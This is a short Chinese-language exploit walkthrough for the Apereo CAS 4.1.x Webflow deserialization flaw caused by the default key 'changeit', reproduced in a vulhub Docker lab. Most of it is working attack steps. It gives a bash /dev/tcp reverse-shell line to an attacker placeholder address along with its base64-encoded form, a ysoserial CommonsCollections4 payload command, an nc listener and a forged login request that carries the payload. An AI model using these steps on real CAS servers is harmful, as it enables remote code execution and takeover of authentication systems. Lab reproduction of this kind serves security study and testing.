漏洞描述
Apereo CAS
是2002年耶鲁大学实验室推出的一个开源统一认证服务,CAS
即Central Authentication Service
,其漏洞成因在于Webflow
中使用了默认密钥changeit
,攻击者可通过默认密钥触发反序列化漏洞,实现RCE
。
影响版本
Apereo CAS 4.1.x ~ 4.1.6
。
漏洞复现
git clone https://github.com/vulhub/vulhub.git
cd vulhub/apereo-cas/4.1-rce
docker-compose up -d
利用工具:vulhub/Apereo-CAS-Attack: WIP: Demo for Attacking Apereo CAS (github.com)
反弹shell编码:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)
bash -i >& /dev/tcp/<ip>/<port> 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}
利用工具里ysoserial
的CommonsCollections4
生成payload
:
java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}"
在攻击机上打开一个监听终端:
nc -lnvp <port>
访问http://<ip>:<port>/cas/login
登录页面,抓取登录数据包,将execution
替换为生成的payload
:
username=admin&password=123456<=LT-3-gwwPiolLX4sdBIY5cz0jhZSeWcsuHz-cas01.example.org&execution=<payload>&_eventId=submit&submit=LOGIN
替换完成之后转发数据包,监听终端成功反弹一个shell
。
文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。